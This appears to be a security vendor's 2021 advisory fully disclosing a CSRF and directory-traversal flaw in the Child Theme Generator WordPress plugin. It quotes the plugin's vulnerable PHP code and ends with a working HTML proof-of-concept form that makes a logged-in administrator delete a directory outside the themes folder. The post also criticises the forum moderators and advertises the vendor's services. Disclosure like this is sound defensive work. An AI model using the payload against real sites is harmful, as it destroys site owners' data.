18 Nov 2021

WordPress Plugin Closed Today With 40,000+ Installs Contains CSRF/Arbitrary Directory Deletion Vulnerability

Today, the WordPress plugin Child Theme Generator was closed on WordPress Plugin Directory. Due to that being one of the 1,000 most popular plugins in that directory (it has 40,000+ installs), our systems warned us about the closure and we started checking over the plugin to see if there was a vulnerability we should be warning customers of our service about if they are using the plugin. We found the plugin lacks protection against cross-site request forgery (CSRF), which could allow an attacker to cause a logged in Administrator to take action they didn’t intend. Among those is the ability to cause them to delete arbitrary directories on the server the website is on.

When the plugin’s admin page is accessed (which is limited to Administrators) the file /admin/class-child-theme-generator-admin.php is loaded and that in turn causes the function section_remove() in the file to run:

47
<?php $plugin_admin->section_remove(); ?>

That function doesn’t check for a valid nonce before passing user input to the function delete_theme_folder():

251
252
253
public function section_remove() {
	if( isset( $_POST['btn-confirm-remove'] ) ) {
		$response = Ch_Th_Gen_Functions::delete_theme_folder( $_POST[ 'folder_to_remove' ], $_POST[ 'parent_to_restore' ] );

That function will then delete a directory that has been specified with the POST input “folder_to_remove”:

185
186
187
188
189
190
191
192
193
194
195
public static function delete_theme_folder( $folder_to_remove, $parent_to_restore ) {
	$response = array();
	$dir_to_remove = get_theme_root() . '/' . $folder_to_remove;
	$files_to_remove = glob( $dir_to_remove . '/*'); //get all file names
	if ( is_dir( $dir_to_remove ) ) {
		foreach( $files_to_remove as $content ) {
			if( is_file( $content) )
			unlink( $content ); //delete file
		$response[$content] = "<p><span class='dashicons dashicons-yes'></span>" . esc_html__("Deleting file ", "child-theme-generator") . "<b>$content</b> " . "</p>";
	}
	rmdir( $dir_to_remove);

Through directory traversal, a directory outside of the ones intended to be deletable can be deleted.

WordPress Causes Full Disclosure

As a protest of the moderators of the WordPress Support Forum’s continued inappropriate behavior we changed from reasonably disclosing to full disclosing vulnerabilities for plugins in the WordPress Plugin Directory in protest, until WordPress gets that situation cleaned up, so we are releasing this post and then leaving a message about that for the developer through the WordPress Support Forum. (For plugins that are also in the ClassicPress Plugin Directory, we will follow our reasonable disclosure policy.)

You can notify the developer of this issue on the forum as well.

Hopefully, the moderators will finally see the light and clean up their act soon, so these full disclosures will no longer be needed (we hope they end soon). You would think they would have already done that, but considering that they believe that having plugins, which have millions installs, remain in the Plugin Directory despite them knowing they are vulnerable is “appropriate action”, something is very amiss with them (which is even more reason the moderation needs to be cleaned up).

If the moderation is cleaned up, it would also allow the possibility of being able to use the forum to start discussing fixing the problems caused by the very problematic handling of security by the team running the Plugin Directory, discussions which they have for years shut down through their control of the Support Forum.

Update: To clear up the confusion where developers claim we hadn’t tried to notify them through the Support Forum (while at the same time moderators are complaining about us doing just that), here is the message we left for this vulnerability:

Is It Fixed?

If you are reading this post down the road the best way to find out if this vulnerability or other WordPress plugin vulnerabilities in plugins you use have been fixed is to sign up for our service, since what we uniquely do when it comes to that type of data is to test to see if vulnerabilities have really been fixed. Relying on the developer’s information can lead you astray, as we often find that they believe they have fixed vulnerabilities, but have failed to do that.

Proof of Concept

The following proof of concept will delete a directory named “test” located in the root directory of the website.

Make sure to replace “[path to WordPress]” with the location of WordPress.

<html>
<body>
<form action="http://[path to WordPress]/wp-admin/admin.php?page=child-theme-generator&tab=remove"  method="POST">
<input type="hidden" name="folder_to_remove" value="../../test" />
<input type="hidden" name="parent_to_restore" value="twentyseventeen" />
<input type="hidden" name="btn-confirm-remove" value="+Confirm+" />
<input type="submit" value="Submit" />
</form>
</body>

Concerned About The Security of the Plugins You Use?

When you are a paying customer of our service, you can suggest/vote for the WordPress plugins you use to receive a security review from us. You can start using the service for free when you sign up now. We also offer security reviews of WordPress plugins as a separate service.

Need Continued Support for a Closed Plugin?

Does your website depend on a WordPress plugin that is no longer being supported by the original developer? With our Abandoned WordPress Plugin Maintenance Service, we can maintain the plugin for you, so you can safely use the plugin going forward.

Leave a Reply

Your email address will not be published.